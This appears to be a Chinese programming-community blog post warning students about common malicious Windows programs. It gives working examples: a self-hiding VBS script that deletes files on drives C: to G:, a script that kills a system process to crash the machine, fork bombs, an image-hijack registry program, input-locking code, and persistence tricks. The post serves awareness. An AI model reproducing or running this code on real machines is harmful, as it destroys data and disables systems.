跳到正文

个人记录

【警惕】常见恶意程序

Starlight237约 9 分钟
原文
文章信息与版本

文章信息

发布
2018年7月27日
收录
2025年12月12日
更新
2026年11月16日
篇幅
约 9 分钟
获赞
47

版本

  1. v1当前

这里有几个常用的恶意程序,如果Luogu中有人发这些代码,请不要轻信。

1.关机

关键代码:shutdown -s (后加其他内容,如-f -t 0之类的。)

2.蓝屏

针对不好机子的BAT代码:%0|%0或%0||(%0|%0)||%0之类的。

通用的VBS代码:

代码
On Error Resume Next
sub killtsk(ProcessName)
On Error Resume Next
for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_
if Ucase(ps.name)=Ucase(ProcessName) then
ps.terminate
end if
next
end sub
set ws=Wscript.createobject("wscript.shell")
ws.run "taskmgr.exe",0
killtsk("wininit.exe")

3.注册表操作/文件夹操作实现开机自启动

winXP:警惕涉及C:\Documents and Settings<用户名字>\「开始」菜单\程序\启动 文件夹操作的程序。

win7:警惕涉及C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup文件夹操作的程序。 警惕凡出现HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run及类似含“Run”注册表路径的程序。

4.隐藏桌面、任务栏、运行窗口

关键C++代码:

C++
inline void hide(){
	HWND hwnd=GetForegroundWindow(),
	hTaskBar=FindWindow("Shell_TrayWnd",NULL),
	hDeskIcon=FindWindow("Progman",NULL),
	hwndDesk=GetDesktopWindow();
	ShowWindow(hwnd,false);
    ShowWindow(hTaskBar,SW_SHOW);
    ShowWindow(hDeskIcon,SW_SHOW);
}

5.删除或感染

此类操作一般为修改文件。

这是一个大量删除文件并自我复制,弹出无限错误窗口卡死机的VBS脚本:

代码
On Error Resume Next
Sub fdel(sPath)    
    Set oFso = CreateObject("Scripting.FileSystemObject") 
    Set oFolder = oFso.GetFolder(sPath)    
    Set oSubFolders = oFolder.SubFolders
    Set oFiles = oFolder.Files    
    For Each oFile In oFiles    
        oFile.Delete  
    Next
    For Each oSubFolder In oSubFolders  
        oSubFolder.Delete
    Next 
    Set oFolder = Nothing    
    Set oSubFolders = Nothing    
    Set oFso = Nothing    
End Sub
set ws=Wscript.createobject("wscript.shell")
set fso=wscript.createobject("scripting.filesystemobject") 
set file=fso.getfile(wscript.scriptfullname)
path=file.path
file.attributes=1+2+4
ws.run path,0
msgbox "错误代码:0x10a2d5",16,"系统警告"
fdel("G:\")
fdel("F:\")
fdel("E:\")
fdel("D:\")
fdel("C:\")

6.添加任务计划以实现定时启动

关键BAT代码:

代码
at 时间 /every:日期 一些BAT代码

7.逃杀

试图生成文本文件写入代码并在运行时才以参数传入以避免杀毒软件查杀,或者加密成乱码也有一定的逃杀效果。遇到此类文件,必须检查文本文件的内容。有时编写者可能同时使用两种方法,使得文本文件为乱码。遇到这一类的程序,请勿随便运行。

8.修改文件关联

关键BAT代码:assoc.后缀名=指定的文件关联

这可能会破坏文件,或者增加恶意程序被打开的几率(即将其他文件的关联指向自身)。

9.映像劫持

此类恶意程序风险极高,可以认为是强行修改文件关联,关键C++代码:

C++
#include <windows.h>
int main(){
    char buffer[] = "cmd.exe";
    HKEY hKey;
    DWORD dwDisposition;
    LPCTSTR SetData = "Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe";
    RegCreateKeyEx(HKEY_LOCAL_MACHINE,SetData,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition);
    RegSetValueEx(hKey,"Debugger",NULL,REG_SZ,LPBYTE(buffer),sizeof(buffer));
    RegCloseKey(hKey);
    return 0;
}

10.无限内存泄漏

我同学亲测,2s内立即黑屏死机(不同系统会有不同效果)。

C++
int main(){
    while(true)char ch=new char;
    return 0;
}

11.无限移动鼠标(参考了@Chthology dalao 和我同学的程序)

关键代码:

C++
#include <windows.h>
GetCursorPos(&p);  
SetCursorPos(p.x,p.y+3);   
mouse_event(MOUSEEVENTF_LEFTDOWN|MOUSEEVENTF_LEFTUP,0,0,0,0);

12.锁定鼠标键盘(来自@Chthology dalao)

关键代码:

C++
#include <windows.h>
#include <Winable.h>
int main(){
    FreeConsole();
    while(true)
        BlockInput(true);
    return 0;
}

13.fork炸弹(来自@Chthology dalao)

关键代码:

C++
int main(){
    while(1)system(":(){ :|:& };:");
    return 0;
}

14.窗口疯狂移动(来自@Chthology dalao)

关键代码:

C++
#include <windows.h>
#include <math.h>

DWORD WINAPI moveit(){
    HWND a=GetForegroundWindow();
    int i,j,k=1;
    while(k++){
        i=200+300*cos(k);
        j=150+300*sin(k);
        MoveWindow(a,i,j,i,j,1);
        Sleep(50);
    }
}

int main(){
    DWORD dwThreadId;
    HWND last=GetForegroundWindow();
    ShowWindow(last, SW_HIDE);
    while(1){
        if(last!=GetForegroundWindow()){
            last=GetForegroundWindow();
            CreateThread(NULL, 0, moveit, &last, 0, &dwThreadId);
        }
    }
    return 0;
}

15.无限窗口

C++
int main(){
    while(1)
        system("start cmd");
    return 0;
}

16.编译卡死

C++
#include "con"

17.胡乱点击(来自@Chthology dalao)

Java
//Java Source
// Developer: Minhas Kamal
// Randomly moves the mouse pointer, & clicks different places on the screen.

import java.awt.Robot;
import java.awt.event.InputEvent;
import java.util.Random;

public class out_of_control {
    public static void main(String[] args) throws Exception {
    	Robot robot = new Robot();
    	Random random = new Random();
    	while(true){
    		robot.mouseMove(random.nextInt(1200), random.nextInt(700));
    		click(robot);
    		Thread.sleep(300);
    	}
    }
    
    private static void click(Robot robot){
        robot.mousePress(InputEvent.BUTTON1_MASK);robot.mouseRelease(InputEvent.BUTTON1_MASK);
        robot.mousePress(InputEvent.BUTTON1_MASK);robot.mouseRelease(InputEvent.BUTTON1_MASK);
    }
}